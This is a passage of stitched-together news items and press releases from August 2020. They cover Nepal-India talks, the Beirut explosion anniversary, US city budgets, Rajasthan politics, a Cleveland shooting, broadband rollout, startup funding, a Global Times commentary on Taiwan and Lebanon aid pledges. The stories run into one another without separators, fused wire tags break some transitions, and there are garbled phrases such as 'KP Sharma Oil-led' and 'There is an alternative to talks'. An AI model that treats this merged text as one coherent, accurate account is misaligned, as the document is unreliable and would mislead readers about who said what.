Kathmandu, Nepal's Minister for Foreign Affairs Pradeep Gyawali announced on Tuesday. The meeting would discuss large India-funded projects in Nepal, and this would be the first step towards resumption of dialogue between the two countries. Relations between the two countries have soured, following the KP Sharma Oil-led government's controversial act of adopting a new map of Nepal, which shows some parts of India as Nepalese territory. This would the first time in nine months, when there would be a dialogue between the two neighbouring countries. There is an alternative to talks and the ties between the two nations cannot be held hostage "to the differences over the boundary issue,' The Kathmandu Post quoted Mr Gyawali as saying. The Nepal-India Oversight Mechanism was set up after the then Nepali Prime Minister Pushpa Kamal Dahal paid a state visit to India in September, 2016. The mechanism oversees the implementation of bilateral projects and enables steps to ensure that these are completed within the set deadline. Secretary at the Ministry of Foreign Affairs Shanker Das Bairagi would lead the Nepali delegation, while Indian Ambassador to Nepal Vinay Mohan Kwatra will head the Indian side. UNI XC RKM RJ 1848 BEIRUT The shattered city of Beirut on Tuesday marked a week since the catastrophic explosion that killed at least 171 people, injured thousands and plunged Lebanon into a deeper political crisis. Thousands of people marched near the devastated port, remembering those who died in the most destructive single blast to hit the country. They observed a minute of silence at 6:08 p.m. local time (11.08 a.m. ET), the moment on Aug. 4 that thousands of tons of ammonium nitrate exploded in the city's port where it had been stored for more than six years, apparently with the knowledge of top political and security officials. Image: Beirut scouts band (Felipe Dana / AP) At that moment Tuesday, church bells tolled and mosque loudspeakers recited a call to prayer. Hundreds marched through the streets of the hard-hit neighborhood of Gemayze carrying portraits of the dead before a candlelight vigil after dusk near the port. He knew, read a poster bearing President Michel Aoun's picture. Image: (Hussein Malla / AP) Aoun, in office since 2016, said Friday he was first told of the dangerous stockpile nearly three weeks ago and immediately ordered military and security agencies to do what was needed. But he suggested his responsibility ended there, saying he had no authority over the port. Im very furious, Im enraged, Im angry, Im sad. Im hopeless, said Anthony Semaan, in his 20s, who said he came to pay respects to the victims. Like others, he said the governments resignation makes no difference. First of all, there are questions that need to be answered. And second, there are other rats that need to be brought down first, and when they are brought down then maybe we can start thinking about the future, he added. Young people carried placards, each one printed with the names of one dead in a red and a green cedar, Lebanons national symbol, and sat on stairs in the Gemayze district, facing the port. Elsewhere in the city, burials of the dead continued. The explosion has fueled outrage against top political leaders and security agencies, and led to the resignation of the government on Monday. In the wake of the disaster, documents have come to light that show that top Lebanese officials knew about the existence of the stockpile in the heart of Beirut near residential areas, and did nothing about it. Story continues It still wasn't clear what caused the fire in a port warehouse that triggered the explosion of the chemicals, which created a shock wave so powerful it was felt as far away as the island of Cyprus more than 180 miles across the Mediterranean. Outgoing Health Minister Hamad Hassan said the blast killed a total of 171 people, with between 30 and 40 still missing. Of the injured, 1,500 needed special treatment while 120 remain in intensive care, he said. The explosion damaged thousands of apartments and offices in the capital. It comes amid an unprecedented economic and financial crisis facing the country since late last year. Meanwhile, efforts to form a new government got underway a day after Prime Minister Hassan Diab resigned. His government, which was supported by the militant group Hezbollah and its allies, unraveled after the deadly blast, with three ministers announcing they were quitting. Image: Beirut funeral (Hussein Malla / AP) Lebanese have demanded an independent Cabinet not backed by any of the political parties they blame for the mess they are in. Many are also calling for an independent investigation into the port explosion, saying they had zero trust in a local probe. Lebanese officials have rejected an international investigation. The government, in the last decision it made before resigning, referred the case to the Supreme Judicial Council, Lebanon's top judicial body, which handles crimes infringing on national security as well as political and state security crimes. New Fashion Start-Up Brings Bold, Beautiful Designs to a Minimalist Market Amelie Necklace in Royal Gold Amelie Necklace in Royal Gold Luisa Earrings in Marigold Black Luisa Earrings in Marigold Black Detroit, Michigan, Aug. 11, 2020 (GLOBE NEWSWIRE) -- SauleTM, a new, woman-owned ethical fashion label headquartered in Detroit, officially launched today with a line of handmade earrings and necklaces available online at www.saulelabel.com. In 2018, Creative Director Ania Czuprynski founded Saule with the goal of offering fashion that empowers women and the planet. Czuprynski, a professional designer, was inspired to start the company after her journey to a more conscious lifestyle was met with a lack of choice in the sustainable fashion market. She explains, I was hesitant to sacrifice my personal style for Earth-friendly, vanilla-flavored minimalism. And I also realized I wasnt the only woman with this dilemma. Saule is the solution, offering women apparel and accessories that are both ethically made and runway-worthy. No sleepy beiges or droopy linens here, Czuprynski said. According to Ethical Consumer magazine, the value of the ethical clothing market increased by 19.9% in 2018. As this trend continues, pressure for corporate transparency increases, and online shopping soars, Saule is uniquely qualified to succeed in its niche. Chief Operations Officer and co-founder Igor De Gregorio says, The industry wastes an unbelievable 30% to 40% of products each season due to overproduction. We manufacture our collections in small batches to ensure we match supply with demand. Their business model opposes popular fast fashion retailers often chastised for overproduction and inhumane working conditions. De Gregorio adds, While margins are important for the profitability of any enterprise, we strongly believe in fair pay. All of our pieces are handmade by artisanal workers and we pride ourselves in knowing them personally. De Gregorio joined Saule a few months after its inception, bringing with him more than 15 years of e-commerce operations and corporate finance expertise. Story continues Saule operates by three principles: maximum style, minimal harm and meaningful impact. Pieces come in a variety of colors and styles and are handcrafted using the highest quality materials and textiles sourced the most environmentally conscious way they can. These include Pinatex pineapple leather, OEKO-TEX French cotton thread, GOTS-certified organic cotton, European Flax linen and FSC-certified wood. They refuse to use virgin plastic. Instead, they purchase vintage gowns from resale shop partners and repurpose the sequins to embellish their garmentssaving plastic from life in a landfill. Their philanthropic efforts include a partnership with non-profit One Tree Planted that plants a tree for each pair of earrings sold, as well as a partnership with Detroit Hives that donates 5% of proceeds from each Pollynation Collection purchase. They employ independent artisans to craft their accessories collections in Detroit, and small businesses in Europe for garment productionand ensure every team member is paid a livable wage. In addition, 95% of their packaging is sustainable and compostable, and shipping is carbon neutral. Saules humble transparency, strategically mapped supply chain, minimal carbon footprint, and high-end designs validate their simple philosophy that gorgeous fashion should both feel good and do good. They acknowledge the complexity of sustainable retail and remain a company with honest intentions, embracing the learning curve and any mistakes that may come with it. Most importantly, they have heart. While the company launches with a line of accessories, garments, including skirts and dresses are in the near future. Shopping is only available online at www.saulelabel.com. You can follow them on Instagram and Facebook. For media queries, please contact: Ania Czuprynski (313)445-2476 or ania@saulelabel.com Attachments CONTACT: Ania Czuprynski Saule 313-445-2476 ania@saulelabel.com The annual August rollout of San Antonios proposed city budget generally carries all the drama and excitement of a morning spent waiting to renew your drivers license. This year is different, for a couple of reasons. For one thing, the city is facing huge revenue shortfalls caused by the COVID-19 pandemic, which will require $120 million in budget cuts over the next two years. For another thing, the political climate around public safety has changed in the three months since the nation saw video footage of the killing of an African American man named George Floyd by a Minneapolis police officer. Across the country, there have been calls for cities to become more proactive and less reactive, more holisitic and less punitive, by shifting funding from law enforcement to social services. Thats why last weeks budget presentation by City Manager Erik Walsh drew pushback from local activists. Walshs proposed budget added $8 million in funding to the San Antonio Police Department (although this was the result of wage and benefits cost increases baked in under the citys collective-bargaining agreement with the police union). On ExpressNews.com: A slap in the face: Activists slam proposed boost in San Antonio police budget Police funding was one of the issues discussed on this weeks edition of the Express-News Puro Politics podcast. City Hall reporter Joshua Fechter said: What Walsh proposed was basically saying, Look, we dont want to cut this willy-nilly. Were not going to just embark on cutting left and right for no reason. Were going to be methodical about this. Were going to take our time with it. Over the next several months, theyre looking at having this process play out in the Public Safety Committee, where theyre going to go through and methodically re-examine what do residents actually expect of the San Antonio Police Department and what can be taken on by other departments. Hear this and other issues discussed on the latest episode of Puro Politics. Gilbert Garcia is a columnist covering the San Antonio and Bexar County area. To read more from Gilbert, become a subscriber. ggarcia@express-news.net | Twitter: @gilgamesh470 Jaipur, Aug 11 : The story of Chittorgarh queen Karnawati and Mughal emperor Humayun appears to be on revival in Rajasthan, where former Chief Minister Vasundhara Raje is being compared to Karnawati while her successor Ashok Gehlot is the Mughal emperor, who despite being in opposite camps supported each other both covert and overtly to allow the other to emerge victorious in vicious circumstances. Political pundits in the state say that the month-long political crisis witnessed a 'happy ending' due to the role played by Vasundhara Raje who made "all efforts" to keep the Gehlot government safe and ensured rebel Sachin Pilot's return to the Congress party. Karnawati, the Mewar queen, during the 15th century, sent a rakhi to Humayun, seeking help from his side, when enemies attacked her kingdom. The Mughal emperor gave his utmost respect to the queen's rakhi and came rushing to help his so-called sister when she was in need. Political sources say that Vasundhara Raje and Gehlot, despite being in opposite camps representing BJP and the Congress, were also extending significant help to each other. In fact, Sachin Pilot had a few days back claimed that Gehlot was busy ensuring that Vasundhara Raje did not have to vacate her government bungalow. Hanuman Beniwal, Nagaur MP and convenor of BJP ally RLP, has also said that Vasundhara Raje was trying her best to 'save' the Gehlot government. He also claimed that there was an "internal understanding" between her and the Chief Minister. Vasundhara Raje, apparently, called many BJP MLAs and reportedly sought their support for Gehlot during the trust motion, he said. Meanwhile, Vasundhara Raje's stoic silence amid the ongoing political crisis in Rajasthan surprised everyone as she did not show any kind of support in any tweet or attack made by the state BJP unit on the opposition camp and maintained a safe distance from all controversy. The Dholpur royal preferred to stay in her palace for over a month and made no attempt to attend party meetings in Jaipur. In fact, she went to Delhi and expressed her annoyance against the state unit's activities during her meeting with BJP national president J.P. Nadda as well as Union minister Rajnath Singh. Her supporters wrote a letter to Nadda alleging that the state party leadership was ignoring her, saying she was a mass leader in the state. Surprisingly, during the crisis, many state Congress Ministers, including Shanti Dhariwal and Pratap Khachriyawas from among CM Gehlot's camp continued praising Vasundhara Raje while the BJP leadership maintained silence on her. Congress minister Harish Chaudhary commented that the BJP was planning to take its MLAs to a Gujarat hotel fearing Vasundhara Raje. Around 35 out of 72 BJP MLAs are believed to be Vasundhara Raje loyalists and showed solidarity with their leader and maintained silence during the recent political crisis in the state. -- The story has been published from a wire feed without any modifications to the text Source: Xinhua| 2020-08-11 13:54:58|Editor: huaxia Video Player Close JINAN, Aug. 11 (Xinhua) -- Archaeologists have unearthed a Neolithic relics site dating back to more than 6,000 years ago, in the city of Linyi, east China's Shandong Province. The site mainly comprises a ring trench of the Beixin culture with an area of some 4,000 square meters, as well as three housing sites and several pits, said the cultural relics and archaeology research institute of Shandong. Pottery remains from kettles, bowls, jars and pots were found in the trench. Beixin, a Neolithic culture, dates back between 7,300 years to 6,100 years ago in the lower reaches of Yellow River. It was the precursor of the Dawenkou culture. The settlements of the Beixin culture were all half beneath the ground, and the people used artifacts made from stones, bones, horns, teeth, and clams as production tools. Enditem CLEVELAND, Ohio A 23-year-old man was killed and an 18-year-old man injured in a drive-by shooting in the citys Lee-Harvard neighborhood, according to police. Dayshawn Norman of Cleveland died in the shooting, according to the Cuyahoga County Medical Examiner. No arrests have been made in the case. The shooting happened about 1 p.m. Monday on Glendale Avenue between East 169th and East 173rd streets. Norman stood in a group in front of a home when a car drove by and fired several shots, police said. The car sped off. Norman was shot several times, and the 18-year-old suffered a gunshot to the arm, according to police. Someone drove Norman to University Hospitals, where he was pronounced dead. Another car drove the 18-year-old, but the car was stopped by Shaker Heights police. An ambulance took the man the rest of the way to the same hospital, according to police. The shooting was one of two homicides on Monday in Cleveland. The city has recorded 98 homicides so far in 2020, compared with 72 during at the same time last year. Read more from cleveland.com: Man beaten to death outside store in Clevelands Ohio City neighborhood Woman hanging out of car window dies in crash in Clevelands Glenville neighborhood Man whose parachute crashed into downtown Cleveland building told police he was ex-Marine vet, thrill seeker Man charged in shooting that killed man, injured another after argument at Cleveland Mr. Hero Euclid man charged with murder after girlfriends 18-month-old daughter dies of severe head injury About 50 Agric Extension Officers in the Central Region have benefitted from a Trainer of Trainers sensitization project undertaken by the Ghana Standards Authority (GSA) on the dangers and management of the Aflatoxin menace. The programme, fall in line with the National Aflatoxin Sensitisation and Management (NASAM) project supported by the Alliance for Green Revolution Africa, (AGRA) to educate farmers, agric officers on best practices in the fight against Aflatoxin. Aflatoxins are a family of toxins produced by certain fungi that are found on crops such as maize (corn), peanut, cottonseed, and tree nuts. The main fungi that produce aflatoxins are Aspergillus flavus and Aspergillus parasiticus, which are abundant in the warm and humid regions of the world. The sensitisation is an all-inclusive agricultural transformation programme targeted at food safety and security through increased awareness creation about aflatoxins, their impact, and management techniques. Mr. Derry Dontoh, Head of Histamine and Mycotoxins Lab of the GSA led the discussions on the management of Aflatoxins management. It was followed by Mr. Nathaniel Brako, a Scientific Officer with the GSA, who demonstrated on Aflatoxin Standards. The team was also accompanied by the Business Development Manager of GSA, Mr. George Anti. The team also embarked on a community tour in the Central Region in areas like Kwaprow, Elmina, Mankessim, Kissi, and Brabedzi. They further engaged and had interactions with over 250 farmers who mainly grow cereals and grains. The education on Aflatoxins has been offered as an eye-opener for all those who fall within its value chain. From the Central region, the Trainer of Trainers campaign will be extended to the Western region and the newly created Western North region. Tuesday, August 11th, 2020 (3:09 pm) - Score 2,412 Last autumn Openreach (BT) revealed that the West Devon (England) town of Okehampton would be among 13 other rural locations to help pilot a range of new tools and techniques for deploying their 1Gbps Fibre-to-the-Premises (FTTP) broadband ISP network (here). Fast forward to today and the work is almost completed. The pilots were designed to test a number of innovations, such as remote FTTP nodes (Mini OLT) in street cabinets, the ditch witch cutter (pictured), micro ducting, ground penetrating radar, diamond cutters (trench digging), mobile planning (Orion) and a GeoRipper (used for digging trenches across soft ground at pace) etc. All together these improvements could help to speed up the roll-out and cut deployment costs. NOTE: Openreach are investing 12bn to cover 20 million UK premises with FTTP by around the mid to late 2020s (2025 2030). Over 3 million have already been reached and 4.5m should be hit by March 2021. Since then the operator has expanded their rural roll-out plan to include several hundred additional villages and towns in harder to reach areas (here, here and here). Assuming all goes to plan then some 3.2 million premises under their commercial deployment are expected to be in rural locations by 2025/26. The town of Okehampton was one of the first to pilot these new innovations and, despite only being announced last October 2019, Openreach has already extended their local FTTP network to cover 3,000 premises in the area. At present the build is about 75% completed and theres another 1,000 or so properties left to reach. Connie Dixon, Openreachs Regional (South West) Partnership Director, said: Were making great progress here in Okehampton, and our Full Fibre build has continued despite the obvious challenges. As well as keeping people connected using our existing network, our engineers have continued building the new infrastructure to make sure that as lockdown restrictions ease, we can support families, businesses and the economic recovery. Id encourage everyone who can to upgrade to the new technology and take advantage of the many benefits. Full Fibre is more reliable and more resilient, meaning fewer faults and more predictable, consistent speeds. Its also future-proof as we expect it to easily meet the growing data demands of future technologies for decades to come. Use the fibre checker on our website to check your postcode to see if Full Fibre is available. Mind you it should be said that Okehampton, while challenging, is a lot easier to do today because it was one of the areas where Openreach were able to deploy superfast broadband (hybrid fibre FTTC / VDSL2) via state aid support under the original Connecting Devon and Somerset (CDS) contract in 2014 (here). Other locations, such as those where only ADSL or very slow FTTC still exists, will be harder. The other 12 villages and towns named in that original pilot (covering 50,000 premises in total) were Cranfield; West Calder; Flockton; Hesketh Bank; Kentford; Lingfield; Lundin Links; Mickle Trafford; Ottery St Mary; Parbold; Seal and Tarporley. Many of those are also nearing completion of Openreachs FTTP pilot roll-out. O.N.S. Clothing had originally hoped to open its new flagship in NoLIta last fall, but delays pushed that to the spring. Then, the coronavirus hit. But the mens lifestyle brand is finally ready to open its doors. The plan is to open the 2,700-square-foot store at 201 Mulberry Street on Aug. 14, by appointment only. O.N.S., which stands for One Nice Shirt, was founded by Brian Chung, whose family is in the apparel manufacturing and textile development business in Hong Kong. He created the brand around six years ago out of a need for a wardrobe that felt comfortable and sophisticated at the same time. Originally, it offered only shirts, but has since expanded into a full collection for men as well as home and lifestyle products such as lighting fixtures, water bottles, scented candles and even greeting cards. For the past several years, O.N.S. had operated a store on Greene Street, but Chung felt the neighborhood in SoHo was changing and sought to move closer to what he sees as like-minded brands such as Noah and Kith. O.N.S.s former space, which is located across the street from Yves Saint Laurent, will be taken over by Alexander McQueen, he said. O.N.S. new space was created by the Hong Kong-based Collective, which also designed the Bauhaus Museum in Germany, the first Aesop store in Macau China and the Nike Vaporscape concept store/video campaign. To execute the space, Collective teamed with New York-based Tang Kawasaki which has worked on the Bushwick tower and other residential projects in Brooklyn and Manhattan. The store, which was once a garage, uses plant-based asphalt for the floors and features a 100-foot-long movable wall covered with wool; 65 feet of custom stainless steel ramps and stairs to create a five-foot change in the level of the store; custom cast resin furniture; Italian tile for the fitting rooms and a custom fiberglass sculpture created by a New York yacht-building workshop. In its former location in SoHo, O.N.S. had created a true community-oriented space where it hosted artist showcases, events and panels, a strategy it will continue in the new site. Story continues Although O.N.S. does have a handful of wholesale accounts, the brand is primarily direct to consumer, a channel that Chung said has been growing since the pandemic. In addition to the Greene Street flagship, the brand has also operated a couple of pop-ups in SoHo and the Lower East Side, but Chung believes the time is right to set down permanent roots. SoHo wasnt where I wanted to be and Ive always liked being on a side street, he said of the new location. Williamsburg is too touristy and commercial and Bleecker Street is not there yet. But NoLIta has a lot of cafes and residential, too. So thats where we want to excel. O.N.S. also operates three stores in Hong Kong and is hoping to open another store in New York City within the next two years. And although hed one day like to expand to Los Angeles as well, he said opening a store there would only make sense when the brand expands its customer base in that community to the point where it can support a retail store. Were waiting until its the right time from a data standpoint, he said. Although Chung is hopeful the Mulberry Street store will perform well, he knows its not going to be easy opening a flagship in the midst of a pandemic. Were hoping for the best, but preparing for the worst, he said. Sign up for WWD's Newsletter. For the latest news, follow us on Twitter, Facebook, and Instagram. In these days of political division, Nebraskas representation in Washington is doing what they can to work together with representatives of their opposing party as well as bringing together the House and the Senate. It would be easy to look at Sen. Deb Fischer and Rep. Adrian Smith simply as federal representatives for the state, but Fischer said she looks at it more closely than that. I consider Adrian not just my congressman, but a good friend, Fischer said. We work together a lot on issues, whether its with water issues out in the Panhandle, or were really together a lot on airport issues. He obviously is a leader in the House on that, making sure we have essential air service to some of our smaller airports around the state. We really talk about every issue. Fischer said she reaches out to the Nebraska delegation Smith and Reps. Jeff Fortenberry and Don Bacon and Sen. Ben Sasse. The group normally has congressional breakfasts together on Wednesday mornings in Washington, but those have been suspended due to the coronavirus pandemic. A Miami woman's boating trip in the Bahamas took a terrifying turn when she found herself swimming just inches away from an eight-foot shark. Iso Machado was celebrating her birthday on a friend's boat last Friday in the when she decided to ride an inflatable slide down into the pristine waters below. Video recorded by Machado's son's friend Kevan Sarota shows her cheering as she took the plunge and splashed into the sea. That's when a crew member on deck pointed out a dark figure in the water that was swimming right toward a blissfully unaware Machado. Her son, Anthony, is then heard calling out: 'Oh my god, oh my god, Mom! Don't freak out, don't freak out!' Scroll down for video Terrifying video shows Iso Machado swimming inches away from a shark in the Bahamas Machado was celebrating her birthday on a friend's boat last Friday in the when she decided to ride an inflatable slide down into the pristine waters below. Video recorded by Machado's son's friend Kevan Sarota shows her cheering as she took the plunge and splashed into the sea 'Wait, this isn't funny,' Anthony says as his mom finally realizes that the massive shark was closing in on her. Sarota described the electrifying encounter to Jam Press, recalling the panic that gripped the passengers still on the boat. He praised how Machado managed to remain calm even when the shark bumped into her. 'We were worried and immediately jumped in to make sure Iso was okay when it changed directions,' he said. Sarota said they believe the it was a Nurse shark, but it was too far away to tell for sure. Machado cheered as she splashed into the water without noticing the shark next to her Machado's son Anthony is heard calling out: 'Oh my god, Mom! Don't freak out, don't freak out!' He said that Machado didn't experience the same fear as the others on the boat. 'She was actually really happy and felt lucky to see one so close,' he said. Sarota posted his video on Instagram, where it quickly racked up an impressive 3.4 million views. Nurse sharks rarely attack humans, but can lash out when they fear they're being attacked. Machado's ability to stay calm under pressure likely helped her avoid a more violent end to her meeting with the local wildlife. "Simpplr is reinventing the intranet, creating a virtual headquarters, company newsroom and online watercooler that employees love. We are purpose-built to empower employees to collaborate across departments and stay connected to the organization, said Dhiraj Sharma, Founder & CEO of Simpplr. Simpplr, the leading provider of modern intranet software, today announced it raised $10 million in series B funding, bringing the total amount raised to nearly $30 million. The financing was led by Norwest Venture Partners with participation from Salesforce Ventures. Both are previous investors in the company. Simpplr will use the new funding to accelerate product innovation, fuel go-to market expansion and extend its partner ecosystem. Since COVID-19 forced companies to engage with and manage employees remotely, businesses have put a renewed focus on intranets. Companies of all sizes realized they need a modern intranet solution to help remote employees stay updated with critical top-down communications that can get lost in email and other channels, find critical documents, knowledge and experts to maintain productivity at home, and stay socially connected to coworkers. Right now companies are realizing that they need to create a definitive source of truth for internal communication. Employees are spread out across geographies, physically isolated from coworkers and in need of connection, said Dhiraj Sharma, Founder and CEO of Simpplr. We are reinventing the intranet, creating a virtual headquarters, company newsroom and online watercooler that employees love. Simpplr is purpose-built to empower employees to collaborate across departments and stay connected to the broader organization. This has helped drive customer adoption that is five times the industry average and deliver 97% customer retention. Last year, Simpplr grew annual recurring revenue (ARR) by 130%, serving more than 200 happy customers. Most recently, the company launched the industrys first auto-governance engine, built on AI technology to ensure that intranet content is up-to-date, relevant and useful. Simpplr also introduced significant enhancements to its Adaptive Personalization, which tailors the users experience based on role, location, tenure, department, topical interests and previous searches so that only relevant content is served. Simpplr has reimagined what an intranet should look like in 2020 and beyond, one built on AI with an amazing user experience that empowers employees to collaborate and stay connected, said Promod Haque, Senior Managing Partner at Norwest Venture Partners and Simpplr board member. Their approach to revolutionizing the intranet will deliver significant business value to employers by engaging employees in ways that boost productivity and improve communications, especially in the work from home environment. We are proud to be a part of Simpplrs journey. Simpplr has taken the traditional intranet and created a modern, easy to use solution that allows businesses to free up IT resources and keep their employees updated in real time, said Matt Garratt, Managing Partner at Salesforce Ventures. The company offers dozens of no-code integrations with best-in-class cloud products like Salesforce and will help push the industry forward towards a better employee experience. We're excited to continue working with the Simpplr team as they enter the next phase of growth. Named a Leader in the Forrester Wave for Intranet Platforms, Q2 2020, Simpplr received top scores for personalization of communications and content delivery. The report says businesses should shortlist Simpplr when a cloud-native, scalable platform focused on employee communications and content delivery is needed. Companies around the world such as AAA, Eurostar, Leukemia & Lymphoma Society, Quantcast and Splunk rely on Simpplr to streamline internal communications and forge employee connections. Additional Resources LinkedIn: https://www.linkedin.com/company/simpplr/ Twitter: https://twitter.com/simpplr Simpplr blog: https://www.simpplr.com/blog/ About Norwest Venture Partners Norwest is a leading venture and growth equity investment firm managing more than $9.5 billion in capital. Since our inception, we have invested in more than 600 companies and partner with over 150 active companies currently in our venture and growth equity portfolio. The firm invests in early to late stage companies across a wide range of sectors with a focus on consumer, enterprise, and healthcare. We offer a deep network of connections, operating experience, and a wide range of impactful services to help CEOs and founders scale their businesses. Norwest has offices in Palo Alto and San Francisco, with subsidiaries in India and Israel. For more information, please visit http://www.nvp.com. Follow Norwest on Twitter @NorwestVP. About Salesforce Ventures Salesforce is the global leader in Customer Relationship Management (CRM), bringing companies closer to their customers in the digital age. Salesforce Ventures, the global investment arm of Salesforce, invests in the next generation of enterprise technology that extends the power of the Salesforce Platform. Salesforce Ventures is building the world's largest ecosystem of enterprise cloud companies and extending that technology to customers. Portfolio companies receive funding, strategic advisory, and operating support, and can easily join Pledge 1% to make giving back part of their business model. Salesforce Ventures has invested in more than 400 companies, including DocuSign, GoCardless, Guild Education, nCino, Twilio, Zoom, and others across 22 countries since 2009. For more information, please visit http://www.salesforce.com/ventures. About Simpplr Simpplr is an employee communications platform marketed as todays modern employee intranet. Its software helps companies engage their workforce by streamlining internal communication and forging employee connections. Leading industry brands such as Workday, AAA, Fox, Vertex Pharmaceuticals, DocuSign, Eurostar, The World Economic Forum and Columbia University rely on Simpplr to improve productivity, increase employee engagement and reduce employee turnover. This improved internal communication helps employees feel connected to their companies. Simpplr is headquartered in Redwood City, CA with an office in Gurgaon, India. More information can be found at https://www.simpplr.com/. Azar-Tsai meeting symbolic, 'meant to provoke Beijing' Global Times By Zhang Hui and Liu Xuanzun Source: Global Times Published: 2020/8/10 21:00:00 PLA fighter jets cross 'middle line' in warning to Taiwan secessionists US health secretary Alex Azar and Taiwan leader Tsai Ing-wen's meeting on Monday carry more symbolic weight than actual substance and was simply a manifest of Washington's political agenda of using the island to provoke Beijing, Chinese analysts commented. In a response to the meeting which broke the diplomatic bottom line of China-US relations, People's Liberation Army Air Force reportedly deployed warplanes including J-11 fighter jets in a flight operation across the "middle line" of the Taiwan Straits. Azar met with Tsai on Monday, during which he praised the Taiwan island's success on health in combating COVID-19, and cooperating with the US to respond to health threats. He also conveyed a message of strong support and friendship from US President Donald Trump to the island. Tsai told Azar his visit was "a huge step forward in anti-pandemic collaborations," and she expects the two sides to make progress together, including on vaccine and drug research and production. Following the meeting, the American Institute in Taiwan and the Taipei Economic and Cultural Representative Office in the US signed a Memorandum of Understanding (MOU) on health cooperation. Chinese Foreign Ministry Spokesperson Zhao Lijian said on Monday that China has filed solemn representations to the US over the meeting, as the US seriously broke its promises on the Taiwan question, and urged the US to stop conducting official exchanges with the island in any form. Chinese analysts believe the visit, under the guise of public health cooperation, was a political move of the Trump administration to use the Taiwan card to divert public attention from its failed COVID-19 response and poor approval ratings. Yang Lixian, a research fellow at the Beijing-based Research Center of Cross-Straits Relations, told the Global Times on Monday that Taiwan is the biggest card of the US in confronting the Chinese mainland, and the detailed arrangement of the visit, including the meeting with Tsai, was nonsense. "As a health secretary, Azar traveled all the way to the island to talk about a COVID-19 response, when the US has failed in its fight against the disease. What makes you eligible to judge others' response?" Yang asked. The MOU on health cooperation was nothing significant, as the two have signed similar deals, and no one in the island pays attention, given that the US is such a dwarf in the COVID-19 response, Chen I-hsin, honorary professor at Taiwan's Tamkang University, told the Global Times on Monday. "The visit, which was previously boasted by media with many 'firsts and high level,' has turned into a joke. Azar himself turned his so-called 'highest-level visit' into a laughing stock thanks to his mispronunciation," Chen said. Azar reportedly mispronounced Tsai as Xi in his speech while meeting with Tsai, which sparked a protest from some politicians in the island. Many Taiwan media outlets reported the incident, and said the Kuomintang (KMT) called the Taiwan authority to lodge a protest with the US. Yang said that Tsai is aware that Taiwan is only a pawn of the US, and the US will not send troops to fight for the island if a war breaks out in the region, and that she dares not cross the red line. Analysts said the Trump administration will make the most of the Taiwan card before November's presidential elections to gain more support from conservative voters with sinophobia, and will likely upgrade its relations with the island by sending more officials from sensitive departments. On Monday, J-11 and J-10 fighter jets attached to the PLA Air Force crossed the "middle line" of the Taiwan Straits at around 9 am, an hour before Azar's meeting with Tsai Ing-wen, Taiwan media reported. Xu Guangyu, a senior adviser to the China Arms Control and Disarmament Association, told the Global Times on Monday that Azar's Taiwan visit broke the bottom line, and the US is attempting to sound out the Chinese mainland's reaction. If the mainland response was weak, it will continue to provoke even further. The PLA warplanes' operation sends the US and Taiwan secessionists a warning, which shows the Chinese mainland will not swallow the insult and let them do whatever they want, Xu said. Xu noted that the PLA operation is a very rational one, and more responses in other fields like diplomacy should follow. If the US goes further, the PLA could take more countermeasures, including live-fire missile drills east of Taiwan island and near Guam, Xu said. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A Kilkenny artist has been shortlisted for the Zurich Portrait Prize 2020 at the National Gallery of Ireland. Sinead Lucey has made the shortlist for her painting 'HSE Heroes, The Wonderful Staff of St Josephs Ward, St Columbas Care Home, Thomastown, Co Kilkenny, April 2020'. The oil painting on wooddepicts five of the dedicated HSE/South East Community Healthcare team at St Columbas, shown standing outside St Josephs Ward at the 90-bed long stay residential care facility. Selected from more than 1,000 entries, the shortlists of both the 2020 Zurich Portrait Prize and Zurich Young Portrait Prize have been announced today by the National Gallery of Ireland. Some 26 artists, working across a variety of different media, have made it through to the final stage of the Zurich Portrait Prize, while 20 young artists aged between three and eighteen years old have been shortlisted for the Zurich Young Portrait Prize. The winner of the Zurich Portrait Prize will receive a prize of 15,000 and a commission worth 5,000 to create a new work for inclusion in the National Portrait Collection at the National Gallery of Ireland. There will also be two awards of 1,500 for highly commended works. Judges for this years Zurich Portrait Prize are Dr Philip Cottrell, lecturer and assistant professor at the School of Art History and Cultural Policy, UCD; artist Rita Duffy; and Aoife Ruane, Director of Highlanes Gallery. Returning for its second year, the Zurich Young Portrait Prize accepted entries from young people up to the age of 18 from across the island of Ireland. Five winners (one from each age category, and an overall winner) will be chosen. Winners will receive a bespoke art box and a cash prize. This years Zurich Young Portrait Prize judges are Maria Cagney, Head of Education, The Hunt Museum; artist Colin Davidson; and illustrator, author and comedian Aoife Dooley. An exhibition of works shortlisted for the Zurich Portrait Prize and Zurich Young Portrait Prize will open at the National Gallery of Ireland on 21 November 2020. Following the success of the run of last years exhibitions at Crawford Art Gallery, the Zurich Portrait Prize and Zurich Young Portrait Prize will travel to Cork once again in April 2021. We were thrilled to receive so many entries to both competitions in 2020, as we continue to raise the profile of contemporary portraiture," said Sean Rainbird, Director of the National Gallery of Ireland. "In November, our visitors will be able to see wonderful new works by artists of all ages at the Gallery, and later at Crawford Art Gallery in Cork. Its terrific to welcome Zurich back to partner with us once again to showcase portraiture in such an exciting way. Neil Freshwater, CEO of Zurich, said the quality of works shortlisted for both the Zurich Portrait Prize and Zurich Young Portrait Prize was impressive. "We look forward to seeing these works unveiled in the Gallery in November and enjoying the new perspectives that they bring. We are very proud to continue to sponsor these prizes and to foster the creativity of artists of all ages," he said. For more, see www.nationalgallery.ie. After a UN-backed virtual conference, hosted by French President Emmanuel Macron, representatives from Britain, Qatar, the United States, the European Union, China, the World Bank and others issued a joint statement pledging solidarity with and support to the Lebanese people. "The participants agreed that their assistance should be timely, sufficient and consistent with the needs of the Lebanese people, well-coordinated under the leadership of the United Nations, and directly delivered to the Lebanese population, with utmost efficiency and transparency," said the statement. To help Lebanon overcome the tragedy and recover better, "we will need all hands on deck," UN Deputy Secretary-General Amina Mohammed told the conference. "I give my pledge that the United Nations is committed to helping the people of Lebanon in every way we can," she said. Mohammed called for a focus on support to four priority sectors, health, food, the rehabilitation of buildings and the rehabilitation of schools. Lebanese President Michel Aoun told the conference that rebuilding Beirut requires a lot of efforts and resources. "The earthquake struck us while we are in the midst of economic and financial crisis, in addition to the existence of over 1 million refugees in Lebanon and the repercussions of COVID-19. Dealing with all these is way beyond the capacity of Lebanon," Aoun noted. The total figure of "emergency aid pledged or that can be mobilized quickly" amounts over EUR252 million (US$297.08 million), said the French presidency. "We are sending a clear message: we, the global community, Lebanon's closest friends and partners, will not let the Lebanese people down," Macron tweeted. Share price of private sector lender Kotak Mahindra Bank gained nearly 2% intra day after the bank announced it has achieved compliance with the RBI norms in respect of dilution of promoter Uday Kotak's shareholding. Following the announcement, Kotak 